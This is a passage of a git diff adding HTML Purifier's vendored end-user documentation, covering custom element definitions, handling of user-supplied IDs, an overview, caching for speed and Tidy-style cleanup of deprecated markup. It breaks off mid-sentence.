+ one <code>c</code> or <code>d</code> element (but not both), one or more
+ <code>e</code> elements, and any number of <code>f</code> elements."
+ Regex veterans should be able to jump right in, and those not so savvy
+ can always copy-paste W3C's content model definitions into HTML Purifier
+ and hope for the best.
+</p>
+
+<p>
+ A word of warning: while the regex format is extremely flexible on
+ the developer's side, it is
+ quite unforgiving on the user's side. If the user input does not <em>exactly</em>
+ match the specification, the entire contents of the element will
+ be nuked. This is why there is are specific content model types like
+ Optional and Required: while they could be implemented as <code>Custom:
+ (valid | elements)*</code>, the custom classes contain special recovery
+ measures that make sure as much of the user's original content gets
+ through. HTML Purifier's core, as a rule, does not use Custom.
+</p>
+
+<p>
+ One final note: you can also use Content Sets inside your valid elements
+ lists or regular expressions. In fact, the three shorthand content models
+ mentioned above are just that: abbreviations:
+</p>
+
+<table class="table">
+ <thead>
+ <tr>
+ <th>Content model</th>
+ <th>Implementation</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th>Inline</th>
+ <td>Optional: Inline | #PCDATA</td>
+ </tr>
+ <tr>
+ <th>Flow</th>
+ <td>Optional: Flow | #PCDATA</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>
+ When the definition is compiled, Inline will be replaced with a
+ horizontal-bar separated list of inline elements. Also, notice that
+ it does not contain text: you have to specify that yourself.
+</p>
+
+<h3>Common attributes</h3>
+
+<p>
+ Congratulations: you have just gotten over the proverbial hump (Allowed
+ children). Common attributes is much simpler, and boils down to
+ one question: does your element have the <code>id</code>, <code>style</code>,
+ <code>class</code>, <code>title</code> and <code>lang</code> attributes?
+ If so, you'll want to specify the <code>Common</code> attribute collection,
+ which contains these five attributes that are found on almost every
+ HTML element in the specification.
+</p>
+
+<p>
+ There are a few more collections, but they're really edge cases:
+</p>
+
+<table class="table">
+ <thead>
+ <tr>
+ <th>Collection</th>
+ <th>Attributes</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th>I18N</th>
+ <td><code>lang</code>, possibly <code>xml:lang</code></td>
+ </tr>
+ <tr>
+ <th>Core</th>
+ <td><code>style</code>, <code>class</code>, <code>id</code> and <code>title</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<p>
+ Common is a combination of the above-mentioned collections.
+</p>
+
+<p class="aside">
+ Readers familiar with the modularization may have noticed that the Core
+ attribute collection differs from that specified by the <a
+ href="http://www.w3.org/TR/xhtml-modularization/abstract_modules.html#s_commonatts">abstract
+ modules of the XHTML Modularization 1.1</a>. We believe this section
+ to be in error, as <code>br</code> permits the use of the <code>style</code>
+ attribute even though it uses the <code>Core</code> collection, and
+ the DTD and XML Schemas supplied by W3C support our interpretation.
+</p>
+
+<h3>Attributes</h3>
+
+<p>
+ If you didn't read the <a href="#addAttribute">earlier section on
+ adding attributes</a>, read it now. The last parameter is simply
+ an array of attribute names to attribute implementations, in the exact
+ same format as <code>addAttribute()</code>.
+</p>
+
+<h3>Putting it all together</h3>
+
+<p>
+ We're going to implement <code>form</code>. Before we embark, lets
+ grab a reference implementation from over at the
+ <a href="http://www.w3.org/TR/html4/sgml/loosedtd.html">transitional DTD</a>:
+</p>
+
+<pre>&lt;!ELEMENT FORM - - (%flow;)* -(FORM) -- interactive form --&gt;
+&lt;!ATTLIST FORM
+ %attrs; -- %coreattrs, %i18n, %events --
+ action %URI; #REQUIRED -- server-side form handler --
+ method (GET|POST) GET -- HTTP method used to submit the form--
+ enctype %ContentType; &quot;application/x-www-form-urlencoded&quot;
+ accept %ContentTypes; #IMPLIED -- list of MIME types for file upload --
+ name CDATA #IMPLIED -- name of form for scripting --
+ onsubmit %Script; #IMPLIED -- the form was submitted --
+ onreset %Script; #IMPLIED -- the form was reset --
+ target %FrameTarget; #IMPLIED -- render in this frame --
+ accept-charset %Charsets; #IMPLIED -- list of supported charsets --
+ &gt;</pre>
+
+<p>
+ Juicy! With just this, we can answer four of our five questions:
+</p>
+
+<ol>
+ <li>What is the element's name? <strong>form</strong></li>
+ <li>What content set does this element belong to? <strong>Block</strong>
+ (this needs a little sleuthing, I find the easiest way is to search
+ the DTD for <code>FORM</code> and determine which set it is in.)</li>
+ <li>What are the allowed children of this element? <strong>One
+ or more flow elements, but no nested <code>form</code>s</strong></li>
+ <li>What attributes does the element allow that are general? <strong>Common</strong></li>
+ <li>What attributes does the element allow that are specific to this element? <strong>A whole bunch, see ATTLIST;
+ we're going to do the vital ones: <code>action</code>, <code>method</code> and <code>name</code></strong></li>
+</ol>
+
+<p>
+ Time for some code:
+</p>
+
+<pre>$config = HTMLPurifier_Config::createDefault();
+$config-&gt;set('HTML.DefinitionID', 'enduser-customize.html tutorial');
+$config-&gt;set('HTML.DefinitionRev', 1);
+$config-&gt;set('Cache.DefinitionImpl', null); // remove this later!
+$def = $config-&gt;getHTMLDefinition(true);
+$def-&gt;addAttribute('a', 'target', new HTMLPurifier_AttrDef_Enum(
+ array('_blank','_self','_target','_top')
+));
+<strong>$form = $def-&gt;addElement(
+ 'form', // name
+ 'Block', // content set
+ 'Flow', // allowed children
+ 'Common', // attribute collection
+ array( // attributes
+ 'action*' => 'URI',
+ 'method' => 'Enum#get|post',
+ 'name' => 'ID'
+ )
+);
+$form-&gt;excludes = array('form' => true);</strong></pre>
+
+<p>
+ Each of the parameters corresponds to one of the questions we asked.
+ Notice that we added an asterisk to the end of the <code>action</code>
+ attribute to indicate that it is required. If someone specifies a
+ <code>form</code> without that attribute, the tag will be axed.
+ Also, the extra line at the end is a special extra declaration that
+ prevents forms from being nested within each other.
+</p>
+
+<p>
+ And that's all there is to it! Implementing the rest of the form
+ module is left as an exercise to the user; to see more examples
+ check the <a href="http://repo.or.cz/w/htmlpurifier.git?a=tree;hb=HEAD;f=library/HTMLPurifier/HTMLModule"><code>library/HTMLPurifier/HTMLModule/</code></a> directory
+ in your local HTML Purifier installation.
+</p>
+
+<h2>And beyond...</h2>
+
+<p>
+ Perceptive users may have realized that, to a certain extent, we
+ have simply re-implemented the facilities of XML Schema or the
+ Document Type Definition. What you are seeing here, however, is
+ not just an XML Schema or Document Type Definition: it is a fully
+ expressive method of specifying the definition of HTML that is
+ a portable superset of the capabilities of the two above-mentioned schema
+ languages. What makes HTMLDefinition so powerful is the fact that
+ if we don't have an implementation for a content model or an attribute
+ definition, you can supply it yourself by writing a PHP class.
+</p>
+
+<p>
+ There are many facets of HTMLDefinition beyond the Advanced API I have
+ walked you through today. To find out more about these, you can
+ check out these source files:
+</p>
+
+<ul>
+ <li><a href="http://repo.or.cz/w/htmlpurifier.git?a=blob;hb=HEAD;f=library/HTMLPurifier/HTMLModule.php"><code>library/HTMLPurifier/HTMLModule.php</code></a></li>
+ <li><a href="http://repo.or.cz/w/htmlpurifier.git?a=blob;hb=HEAD;f=library/HTMLPurifier/ElementDef.php"><code>library/HTMLPurifier/ElementDef.php</code></a></li>
+</ul>
+
+<h2 id="optimized">Notes for HTML Purifier 4.2.0 and earlier</h3>
+
+<p>
+ Previously, this tutorial gave some incorrect template code for
+ editing raw definitions, and that template code will now produce the
+ error <q>Due to a documentation error in previous version of HTML
+ Purifier...</q> Here is how to mechanically transform old-style
+ code into new-style code.
+</p>
+
+<p>
+ First, identify all code that edits the raw definition object, and
+ put it together. Ensure none of this code must be run on every
+ request; if some sub-part needs to always be run, move it outside
+ this block. Here is an example below, with the raw definition
+ object code bolded.
+</p>
+
+<pre>$config = HTMLPurifier_Config::createDefault();
+$config-&gt;set('HTML.DefinitionID', 'enduser-customize.html tutorial');
+$config-&gt;set('HTML.DefinitionRev', 1);
+$def = $config-&gt;getHTMLDefinition(true);
+<strong>$def->addAttribute('a', 'target', 'Enum#_blank,_self,_target,_top');</strong>
+$purifier = new HTMLPurifier($config);</pre>
+
+<p>
+ Next, replace the raw definition retrieval with a
+ maybeGetRawHTMLDefinition method call inside an if conditional, and
+ place the editing code inside that if block.
+</p>
+
+<pre>$config = HTMLPurifier_Config::createDefault();
+$config-&gt;set('HTML.DefinitionID', 'enduser-customize.html tutorial');
+$config-&gt;set('HTML.DefinitionRev', 1);
+<strong>if ($def = $config-&gt;maybeGetRawHTMLDefinition()) {
+ $def->addAttribute('a', 'target', 'Enum#_blank,_self,_target,_top');
+}</strong>
+$purifier = new HTMLPurifier($config);</pre>
+
+<p>
+ And you're done! Alternatively, if you're OK with not ever caching
+ your code, the following will still work and not emit warnings.
+</p>
+
+<pre>$config = HTMLPurifier_Config::createDefault();
+$def = $config-&gt;getHTMLDefinition(true);
+$def->addAttribute('a', 'target', 'Enum#_blank,_self,_target,_top');
+$purifier = new HTMLPurifier($config);</pre>
+
+<p>
+ A slightly less efficient version of this was what was going on with
+ old versions of HTML Purifier.
+</p>
+
+<p>
+ <em>Technical notes:</em> ajh pointed out on <a
+ href="http://htmlpurifier.org/phorum/read.php?5,5164,5169#msg-5169">in a forum topic</a> that
+ HTML Purifier appeared to be repeatedly writing to the cache even
+ when a cache entry already existed. Investigation lead to the
+ discovery of the following infelicity: caching of customized
+ definitions didn't actually work! The problem was that even though
+ a cache file would be written out at the end of the process, there
+ was no way for HTML Purifier to say, <q>Actually, I've already got a
+ copy of your work, no need to reconfigure your
+ customizations</q>. This required the API to change: placing
+ all of the customizations to the raw definition object in a
+ conditional which could be skipped.
+</p>
+
+</body></html>
+
+<!-- vim: et sw=4 sts=4
+-->
diff --git a/vendor/ezyang/htmlpurifier/docs/enduser-id.html b/vendor/ezyang/htmlpurifier/docs/enduser-id.html
new file mode 100644
index 000000000..53d2da248
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/enduser-id.html
@@ -0,0 +1,148 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<meta name="description" content="Explains various methods for allowing IDs in documents safely in HTML Purifier." />
+<link rel="stylesheet" type="text/css" href="./style.css" />
+
+<title>IDs - HTML Purifier</title>
+
+</head><body>
+
+<h1 class="subtitled">IDs</h1>
+<div class="subtitle">What they are, why you should(n't) wear them, and how to deal with it</div>
+
+<div id="filing">Filed under End-User</div>
+<div id="index">Return to the <a href="index.html">index</a>.</div>
+<div id="home"><a href="http://htmlpurifier.org/">HTML Purifier</a> End-User Documentation</div>
+
+<p>Prior to HTML Purifier 1.2.0, this library blithely accepted user input that
+looked like this:</p>
+
+<pre>&lt;a id=&quot;fragment&quot;&gt;Anchor&lt;/a&gt;</pre>
+
+<p>...presenting an attractive vector for those that would destroy standards
+compliance: simply set the ID to one that is already used elsewhere in the
+document and voila: validation breaks. There was a half-hearted attempt to
+prevent this by allowing users to blacklist IDs, but I suspect that no one
+really bothered, and thus, with the release of 1.2.0, IDs are now <em>removed</em>
+by default.</p>
+
+<p>IDs, however, are quite useful functionality to have, so if users start
+complaining about broken anchors you'll probably want to turn them back on
+with %Attr.EnableID. But before you go mucking around with the config
+object, it's probably worth to take some precautions to keep your page
+validating. Why?</p>
+
+<ol>
+ <li>Standards-compliant pages are good</li>
+ <li>Duplicated IDs interfere with anchors. If there are two id="foobar"s in a
+ document, which spot does a browser presented with the fragment #foobar go
+ to? Most browsers opt for the first appearing ID, making it impossible
+ to references the second section. Similarly, duplicated IDs can hijack
+ client-side scripting that relies on the IDs of elements.</li>
+</ol>
+
+<p>You have (currently) four ways of dealing with the problem.</p>
+
+
+
+<h2 class="subtitled">Blacklisting IDs</h2>
+<div class="subsubtitle">Good for pages with single content source and stable templates</div>
+
+<p>Keeping in terms with the
+<acronym title="Keep It Simple, Stupid">KISS</acronym> principle, let us
+deal with the most obvious solution: preventing users from using any IDs that
+appear elsewhere on the document. The method is simple:</p>
+
+<pre>$config-&gt;set('Attr.EnableID', true);
+$config-&gt;set('Attr.IDBlacklist' array(
+ 'list', 'of', 'attribute', 'values', 'that', 'are', 'forbidden'
+));</pre>
+
+<p>That being said, there are some notable drawbacks. First of all, you have to
+know precisely which IDs are being used by the HTML surrounding the user code.
+This is easier said than done: quite often the page designer and the system
+coder work separately, so the designer has to constantly be talking with the
+coder whenever he decides to add a new anchor. Miss one and you open yourself
+to possible standards-compliance issues.</p>
+
+<p>Furthermore, this position becomes untenable when a single web page must hold
+multiple portions of user-submitted content. Since there's obviously no way
+to find out before-hand what IDs users will use, the blacklist is helpless.
+And since HTML Purifier validates each segment separately, perhaps doing
+so at different times, it would be extremely difficult to dynamically update
+the blacklist in between runs.</p>
+
+<p>Finally, simply destroying the ID is extremely un-userfriendly behavior: after
+all, they might have simply specified a duplicate ID by accident.</p>
+
+<p>Thus, we get to our second method.</p>
+
+
+
+<h2 class="subtitled">Namespacing IDs</h2>
+<div class="subsubtitle">Lazy developer's way, but needs user education</div>
+
+<p>This method, too, is quite simple: add a prefix to all user IDs. With this
+code:</p>
+
+<pre>$config-&gt;set('Attr.EnableID', true);
+$config-&gt;set('Attr.IDPrefix', 'user_');</pre>
+
+<p>...this:</p>
+
+<pre>&lt;a id=&quot;foobar&quot;&gt;Anchor!&lt;/a&gt;</pre>
+
+<p>...turns into:</p>
+
+<pre>&lt;a id=&quot;user_foobar&quot;&gt;Anchor!&lt;/a&gt;</pre>
+
+<p>As long as you don't have any IDs that start with user_, collisions are
+guaranteed not to happen. The drawback is obvious: if a user submits
+id=&quot;foobar&quot;, they probably expect to be able to reference their page with
+#foobar. You'll have to tell them, &quot;No, that doesn't work, you have to add
+user_ to the beginning.&quot;</p>
+
+<p>And yes, things get hairier. Even with a nice prefix, we still have done
+nothing about multiple HTML Purifier outputs on one page. Thus, we have
+a second configuration value to piggy-back off of: %Attr.IDPrefixLocal:</p>
+
+<pre>$config-&gt;set('Attr.IDPrefixLocal', 'comment' . $id . '_');</pre>
+
+<p>This new attributes does nothing but append on to regular IDPrefix, but is
+special in that it is volatile: it's value is determined at run-time and
+cannot possibly be cordoned into, say, a .ini config file. As for what to
+put into the directive, is up to you, but I would recommend the ID number
+the text has been assigned in the database. Whatever you pick, however, it
+has to be unique and stable for the text you are validating. Note, however,
+that we require that %Attr.IDPrefix be set before you use this directive.</p>
+
+<p>And also remember: the user has to know what this prefix is too!</p>
+
+
+
+<h2>Abstinence</h2>
+
+<p>You may not want to bother. That's okay too, just don't enable IDs.</p>
+
+<p>Personally, I would take this road whenever user-submitted content would be
+possibly be shown together on one page. Why a blog comment would need to use
+anchors is beyond me.</p>
+
+
+
+<h2>Denial</h2>
+
+<p>To revert back to pre-1.2.0 behavior, simply:</p>
+
+<pre>$config-&gt;set('Attr.EnableID', true);</pre>
+
+<p>Don't come crying to me when your page mysteriously stops validating, though.</p>
+
+</body>
+</html>
+
+<!-- vim: et sw=4 sts=4
+-->
diff --git a/vendor/ezyang/htmlpurifier/docs/enduser-overview.txt b/vendor/ezyang/htmlpurifier/docs/enduser-overview.txt
new file mode 100644
index 000000000..fe7f8705d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/enduser-overview.txt
@@ -0,0 +1,59 @@
+
+HTML Purifier
+ by Edward Z. Yang
+
+There are a number of ad hoc HTML filtering solutions out there on the web
+(some examples including HTML_Safe, kses and SafeHtmlChecker.class.php) that
+claim to filter HTML properly, preventing malicious JavaScript and layout
+breaking HTML from getting through the parser. None of them, however,
+demonstrates a thorough knowledge of neither the DTD that defines the HTML
+nor the caveats of HTML that cannot be expressed by a DTD. Configurable
+filters (such as kses or PHP's built-in striptags() function) have trouble
+validating the contents of attributes and can be subject to security attacks
+due to poor configuration. Other filters take the naive approach of
+blacklisting known threats and tags, failing to account for the introduction
+of new technologies, new tags, new attributes or quirky browser behavior.
+
+However, HTML Purifier takes a different approach, one that doesn't use
+specification-ignorant regexes or narrow blacklists. HTML Purifier will
+decompose the whole document into tokens, and rigorously process the tokens by:
+removing non-whitelisted elements, transforming bad practice tags like <font>
+into <span>, properly checking the nesting of tags and their children and
+validating all attributes according to their RFCs.
+
+To my knowledge, there is nothing like this on the web yet. Not even MediaWiki,
+which allows an amazingly diverse mix of HTML and wikitext in its documents,
+gets all the nesting quirks right. Existing solutions hope that no JavaScript
+will slip through, but either do not attempt to ensure that the resulting
+output is valid XHTML or send the HTML through a draconic XML parser (and yet
+still get the nesting wrong: SafeHtmlChecker.class.php does not prevent <a>
+tags from being nested within each other).
+
+This document no longer is a detailed description of how HTMLPurifier works,
+as those descriptions have been moved to the appropriate code. The first
+draft was drawn up after two rough code sketches and the implementation of a
+forgiving lexer. You may also be interested in the unit tests located in the
+tests/ folder, which provide a living document on how exactly the filter deals
+with malformed input.
+
+In summary (see corresponding classes for more details):
+
+1. Parse document into an array of tag and text tokens (Lexer)
+2. Remove all elements not on whitelist and transform certain other elements
+ into acceptable forms (i.e. <font>)
+3. Make document well formed while helpfully taking into account certain quirks,
+ such as the fact that <p> tags traditionally are closed by other block-level
+ elements.
+4. Run through all nodes and check children for proper order (especially
+ important for tables).
+5. Validate attributes according to more restrictive definitions based on the
+ RFCs.
+6. Translate back into a string. (Generator)
+
+HTML Purifier is best suited for documents that require a rich array of
+HTML tags. Things like blog comments are, in all likelihood, most appropriately
+written in an extremely restrictive set of markup that doesn't require
+all this functionality (or not written in HTML at all), although this may
+be changing in the future with the addition of levels of filtering.
+
+ vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/docs/enduser-security.txt b/vendor/ezyang/htmlpurifier/docs/enduser-security.txt
new file mode 100644
index 000000000..518f092bd
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/enduser-security.txt
@@ -0,0 +1,18 @@
+
+Security
+
+Like anything that claims to afford security, HTML_Purifier can be circumvented
+through negligence of people. This class will do its job: no more, no less,
+and it's up to you to provide it the proper information and proper context
+to be effective. Things to remember:
+
+1. Character Encoding: see enduser-utf8.html for more info.
+
+2. IDs: see enduser-id.html for more info
+
+3. URIs: see enduser-uri-filter.html
+
+4. CSS: document pending
+Explain which CSS styles we blocked and why.
+
+ vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/docs/enduser-slow.html b/vendor/ezyang/htmlpurifier/docs/enduser-slow.html
new file mode 100644
index 000000000..f0ea02de1
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/enduser-slow.html
@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<meta name="description" content="Explains how to speed up HTML Purifier through caching or inbound filtering." />
+<link rel="stylesheet" type="text/css" href="./style.css" />
+
+<title>Speeding up HTML Purifier - HTML Purifier</title>
+
+</head><body>
+
+<h1 class="subtitled">Speeding up HTML Purifier</h1>
+<div class="subtitle">...also known as the HELP ME LIBRARY IS TOO SLOW MY PAGE TAKE TOO LONG page</div>
+
+<div id="filing">Filed under End-User</div>
+<div id="index">Return to the <a href="index.html">index</a>.</div>
+<div id="home"><a href="http://htmlpurifier.org/">HTML Purifier</a> End-User Documentation</div>
+
+<p>HTML Purifier is a very powerful library. But with power comes great
+responsibility, in the form of longer execution times. Remember, this
+library isn't lightly grazing over submitted HTML: it's deconstructing
+the whole thing, rigorously checking the parts, and then putting it back
+together. </p>
+
+<p>So, if it so turns out that HTML Purifier is kinda too slow for outbound
+filtering, you've got a few options: </p>
+
+<h2>Inbound filtering</h2>
+
+<p>Perform filtering of HTML when it's submitted by the user. Since the
+user is already submitting something, an extra half a second tacked on
+to the load time probably isn't going to be that huge of a problem.
+Then, displaying the content is a simple a manner of outputting it
+directly from your database/filesystem. The trouble with this method is
+that your user loses the original text, and when doing edits, will be
+handling the filtered text. While this may be a good thing, especially
+if you're using a WYSIWYG editor, it can also result in data-loss if a
+user makes a typo. </p>
+
+<p>Example (non-functional):</p>
+
+<pre>&lt;?php
+ /**
+ * FORM SUBMISSION PAGE
+ * display_error($message) : displays nice error page with message
+ * display_success() : displays a nice success page
+ * display_form() : displays the HTML submission form
+ * database_insert($html) : inserts data into database as new row
+ */
+ if (!empty($_POST)) {
+ require_once '/path/to/library/HTMLPurifier.auto.php';
+ require_once 'HTMLPurifier.func.php';
+ $dirty_html = isset($_POST['html']) ? $_POST['html'] : false;
+ if (!$dirty_html) {
+ display_error('You must write some HTML!');
+ }
+ $html = HTMLPurifier($dirty_html);
+ database_insert($html);
+ display_success();
+ // notice that $dirty_html is *not* saved
+ } else {
+ display_form();
+ }
+?&gt;</pre>
+
+<h2>Caching the filtered output</h2>
+
+<p>Accept the submitted text and put it unaltered into the database, but
+then also generate a filtered version and stash that in the database.
+Serve the filtered version to readers, and the unaltered version to
+editors. If need be, you can invalidate the cache and have the cached
+filtered version be regenerated on the first page view. Pros? Full data
+retention. Cons? It's more complicated, and opens other editors up to
+XSS if they are using a WYSIWYG editor (to fix that, they'd have to be
+able to get their hands on the *really* original text served in
+plaintext mode). </p>
+
+<p>Example (non-functional):</p>
+
+<pre>&lt;?php
+ /**
+ * VIEW PAGE
+ * display_error($message) : displays nice error page with message
+ * cache_get($id) : retrieves HTML from fast cache (db or file)
+ * cache_insert($id, $html) : inserts good HTML into cache system
+ * database_get($id) : retrieves raw HTML from database
+ */
+ $id = isset($_GET['id']) ? (int) $_GET['id'] : false;
+ if (!$id) {
+ display_error('Must specify ID.');
+ exit;
+ }
+ $html = cache_get($id); // filesystem or database
+ if ($html === false) {
+ // cache didn't have the HTML, generate it
+ $raw_html = database_get($id);
+ require_once '/path/to/library/HTMLPurifier.auto.php';
+ require_once 'HTMLPurifier.func.php';
+ $html = HTMLPurifier($raw_html);
+ cache_insert($id, $html);
+ }
+ echo $html;
+?&gt;</pre>
+
+<h2>Summary</h2>
+
+<p>In short, inbound filtering is the simple option and caching is the
+robust option (albeit with bigger storage requirements). </p>
+
+<p>There is a third option, independent of the two we've discussed: profile
+and optimize HTMLPurifier yourself. Be sure to report back your results
+if you decide to do that! Especially if you port HTML Purifier to C++.
+<tt>;-)</tt></p>
+
+</body>
+</html>
+
+<!-- vim: et sw=4 sts=4
+-->
diff --git a/vendor/ezyang/htmlpurifier/docs/enduser-tidy.html b/vendor/ezyang/htmlpurifier/docs/enduser-tidy.html
new file mode 100644
index 000000000..a243f7fc2
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/enduser-tidy.html
@@ -0,0 +1,231 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<meta name="description" content="Tutorial for tweaking HTML Purifier's Tidy-like behavior." />
+<link rel="stylesheet" type="text/css" href="style.css" />
+
+<title>Tidy - HTML Purifier</title>
+
+</head><body>
+
+<h1>Tidy</h1>
+
+<div id="filing">Filed under Development</div>
+<div id="index">Return to the <a href="index.html">index</a>.</div>
+<div id="home"><a href="http://htmlpurifier.org/">HTML Purifier</a> End-User Documentation</div>
+
+<p>You've probably heard of HTML Tidy, Dave Raggett's little piece
+of software that cleans up poorly written HTML. Let me say it straight
+out:</p>
+
+<p class="emphasis">This ain't HTML Tidy!</p>
+
+<p>Rather, Tidy stands for a cool set of Tidy-inspired features in HTML Purifier
+that allows users to submit deprecated elements and attributes and get
+valid strict markup back. For example:</p>
+
+<pre>&lt;center&gt;Centered&lt;/center&gt;</pre>
+
+<p>...becomes:</p>
+
+<pre>&lt;div style=&quot;text-align:center;&quot;&gt;Centered&lt;/div&gt;</pre>
+
+<p>...when this particular fix is run on the HTML. This tutorial will give
+you the lowdown of what exactly HTML Purifier will do when Tidy
+is on, and how to fine-tune this behavior. Once again, <strong>you do
+not need Tidy installed on your PHP to use these features!</strong></p>
+
+<h2>What does it do?</h2>
+
+<p>Tidy will do several things to your HTML:</p>
+
+<ul>
+ <li>Convert deprecated elements and attributes to standards-compliant
+ alternatives</li>
+ <li>Enforce XHTML compatibility guidelines and other best practices</li>
+ <li>Preserve data that would normally be removed as per W3C</li>
+</ul>
+
+<h2>What are levels?</h2>
+
+<p>Levels describe how aggressive the Tidy module should be when
+cleaning up HTML. There are four levels to pick: none, light, medium
+and heavy. Each of these levels has a well-defined set of behavior
+associated with it, although it may change depending on your doctype.</p>
+
+<dl>
+ <dt>light</dt>
+ <dd>This is the <strong>lenient</strong> level. If a tag or attribute
+ is about to be removed because it isn't supported by the
+ doctype, Tidy will step in and change into an alternative that
+ is supported.</dd>
+ <dt>medium</dt>
+ <dd>This is the <strong>correctional</strong> level. At this level,
+ all the functions of light are performed, as well as some extra,
+ non-essential best practices enforcement. Changes made on this
+ level are very benign and are unlikely to cause problems.</dd>
+ <dt>heavy</dt>
+ <dd>This is the <strong>aggressive</strong> level. If a tag or
+ attribute is deprecated, it will be converted into a non-deprecated
+ version, no ifs ands or buts.</dd>
+</dl>
+
+<p>By default, Tidy operates on the <strong>medium</strong> level. You can
+change the level of cleaning by setting the %HTML.TidyLevel configuration
+directive:</p>
+
+<pre>$config-&gt;set('HTML.TidyLevel', 'heavy'); // burn baby burn!</pre>
+
+<h2>Is the light level really light?</h2>
+
+<p>It depends on what doctype you're using. If your documents are HTML
+4.01 <em>Transitional</em>, HTML Purifier will be lazy
+and won't clean up your <code>center</code>
+or <code>font</code> tags. But if you're using HTML 4.01 <em>Strict</em>,
+HTML Purifier has no choice: it has to convert them, or they will
+be nuked out of existence. So while light on Transitional will result
+in little to no changes, light on Strict will still result in quite
+a lot of fixes.</p>
+
+<p>This is different behavior from 1.6 or before, where deprecated
+tags in transitional documents would
+always be cleaned up regardless. This is also better behavior.</p>
+
+<h2>My pages look different!</h2>
+
+<p>HTML Purifier is tasked with converting deprecated tags and
+attributes to standards-compliant alternatives, which usually
+need copious amounts of CSS. It's also not foolproof: sometimes
+things do get lost in the translation. This is why when HTML Purifier
+can get away with not doing cleaning, it won't; this is why
+the default value is <strong>medium</strong> and not heavy.</p>
+
+<p>Fortunately, only a few attributes have problems with the switch
+over. They are described below:</p>
+
+<table class="table">
+ <thead><tr>
+ <th>Element@Attr</th>
+ <th>Changes</th>
+ </tr></thead>
+ <tbody>
+ <tr>
+ <td>caption@align</td>
+ <td>Firefox supports stuffing the caption on the
+ left and right side of the table, a feature that
+ Internet Explorer, understandably, does not have.
+ When align equals right or left, the text will simply
+ be aligned on the left or right side.</td>
+ </tr>
+ <tr>
+ <td>img@align</td>
+ <td>The implementation for align bottom is good, but not
+ perfect. There are a few pixel differences.</td>
+ </tr>
+ <tr>
+ <td>br@clear</td>
+ <td>Clear both gets a little wonky in Internet Explorer. Haven't
+ really been able to figure out why.</td>
+ </tr>
+ <tr>
+ <td>hr@noshade</td>
+ <td>All browsers implement this slightly differently: we've
+ chosen to make noshade horizontal rules gray.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>There are a few more minor, although irritating, bugs.
+Some older browsers support deprecated attributes,
+but not CSS. Transformed elements and attributes will look unstyled
+to said browsers. Also, CSS precedence is slightly different for
+inline styles versus presentational markup. In increasing precedence:</p>
+
+<ol>
+ <li>Presentational attributes</li>
+ <li>External style sheets</li>
+ <li>Inline styling</li>
+</ol>
+
+<p>This means that styling that may have been masked by external CSS
+declarations will start showing up (a good thing, perhaps). Finally,
+if you've turned off the style attribute, almost all of
+these transformations will not work. Sorry mates.</p>
+
+<p>You can review the rendering before and after of these transformations
+by consulting the <a
+href="http://htmlpurifier.org/live/smoketests/attrTransform.php">attrTransform.php
+smoketest</a>.</p>
+
+<h2>I like the general idea, but the specifics bug me!</h2>
+
+<p>So you want HTML Purifier to clean up your HTML, but you're not
+so happy about the br@clear implementation. That's perfectly fine!
+HTML Purifier will make accomodations:</p>
+
+<pre>$config-&gt;set('HTML.Doctype', 'XHTML 1.0 Transitional');
+$config-&gt;set('HTML.TidyLevel', 'heavy'); // all changes, minus...
+<strong>$config-&gt;set('HTML.TidyRemove', 'br@clear');</strong></pre>
+
+<p>That third line does the magic, removing the br@clear fix
+from the module, ensuring that <code>&lt;br clear="both" /&gt;</code>
+will pass through unharmed. The reverse is possible too:</p>
+
+<pre>$config-&gt;set('HTML.Doctype', 'XHTML 1.0 Transitional');
+$config-&gt;set('HTML.TidyLevel', 'none'); // no changes, plus...
+<strong>$config-&gt;set('HTML.TidyAdd', 'p@align');</strong></pre>
+
+<p>In this case, all transformations are shut off, except for the p@align
+one, which you found handy.</p>
+
+<p>To find out what the names of fixes you want to turn on or off are,
+you'll have to consult the source code, specifically the files in
+<code>HTMLPurifier/HTMLModule/Tidy/</code>. There is, however, a
+general syntax:</p>
+
+<table class="table">
+ <thead>
+ <tr>
+ <th>Name</th>
+ <th>Example</th>
+ <th>Interpretation</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>element</td>
+ <td>font</td>
+ <td>Tag transform for <em>element</em></td>
+ </tr>
+ <tr>
+ <td>element@attr</td>
+ <td>br@clear</td>
+ <td>Attribute transform for <em>attr</em> on <em>element</em></td>
+ </tr>
+ <tr>
+ <td>@attr</td>
+ <td>@lang</td>
+ <td>Global attribute transform for <em>attr</em></td>
+ </tr>
+ <tr>
+ <td>e#content_model_type</td>
+ <td>blockquote#content_model_type</td>
+ <td>Change of child processing implementation for <em>e</em></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2>So... what's the lowdown?</h2>
+
+<p>The lowdown is, quite frankly, HTML Purifier's default settings are
